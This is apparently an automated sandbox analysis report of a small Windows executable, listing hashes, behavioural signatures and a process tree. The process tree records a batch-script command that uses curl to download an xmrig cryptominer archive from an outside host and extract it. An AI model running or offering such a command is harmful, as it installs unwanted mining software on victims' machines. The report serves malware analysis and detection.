Resubmissions

13/03/2024, 08:45

240313-knsznahb2w 10

13/03/2024, 08:44

240313-knhtpaah68 10

13/03/2024, 08:44

240313-km8cysha9v 10

13/03/2024, 08:43

240313-kms82aah48 10

12/03/2024, 18:00

240312-wlevsshe86 10

12/03/2024, 17:57

240312-wjxylahe48 10

12/03/2024, 17:55

240312-whm21afc7t 10

12/03/2024, 17:54

240312-wg7p1sfc5y 10

12/03/2024, 17:53

240312-wgg5csfc3y 10

12/03/2024, 17:52

240312-wf31fahd58 10

Analysis

  • max time kernel
    955s
  • max time network
    966s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12/03/2024, 17:57

General

  • Target

    test - Copy - Copy - Copy (3).exe

  • Size

    6KB

  • MD5

    4634098fe194204dc03f967cc0b19cd6

  • SHA1

    eaa58619c6cea9f148cec61ee504cd727b3e80d8

  • SHA256

    a1070b8803e4243699a44a77e60a199282814495bc3bd94759c07021c0a6c70c

  • SHA512

    64e97fac56a25daf99f8ee1a9f480acc8020d5da4eb96ea77022c9170f6300b7b5479fce86e3e7e088cdaabdf123b65872e09b0ae17f8f97ea2fe58b6ecf7a9d

  • SSDEEP

    96:2Fb158Vgo4CVvAXklfZT8kYl9RxxgAVNb8ICcGKzNt:oMV1vAX+8kYDRxbLh4s

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\test - Copy - Copy - Copy (3).exe
    "C:\Users\Admin\AppData\Local\Temp\test - Copy - Copy - Copy (3).exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2296
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\yrYjTegi.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3584
      • C:\Windows\system32\curl.exe
        curl -o "C:\xmrig\xmrig-6.21.1-gcc-win64.zip" https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zip
        3⤵
          PID:3436
        • C:\Windows\system32\tar.exe
          tar -xf "C:\xmrig\xmrig-6.21.1-gcc-win64.zip"
          3⤵
            PID:4764
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4228 --field-trial-handle=2264,i,7010714054498059916,1862725710331979271,262144 --variations-seed-version /prefetch:8
        1⤵
          PID:4764
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1408 --field-trial-handle=2264,i,7010714054498059916,1862725710331979271,262144 --variations-seed-version /prefetch:8
          1⤵
            PID:432

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • C:\Users\Admin\AppData\Local\Temp\yrYjTegi.bat

                  Filesize

                  421B

                  MD5

                  67d11b392feb0ad59fc11ff3e79dfeee

                  SHA1

                  7df5785988cb76c4893773614572c93baaa18717

                  SHA256

                  69bcf6c4c959410d5857ac219600cec68035bd92e708c0bf7318eece8d5acb9d

                  SHA512

                  50835d7dccb22cbf052a64ce2dd50df97f726b1d2044ab0e55ba42a2874601b6fe064f84659f89ce079627d147cf49d9548b24b2160a17783b934c6793507f11

                • memory/2296-0-0x0000000000E40000-0x0000000000E48000-memory.dmp

                  Filesize

                  32KB

                • memory/2296-3-0x00007FFD0D0E0000-0x00007FFD0DBA1000-memory.dmp

                  Filesize

                  10.8MB

                • memory/2296-7-0x00007FFD0D0E0000-0x00007FFD0DBA1000-memory.dmp

                  Filesize

                  10.8MB

                • memory/2296-9-0x00007FFD0D0E0000-0x00007FFD0DBA1000-memory.dmp

                  Filesize

                  10.8MB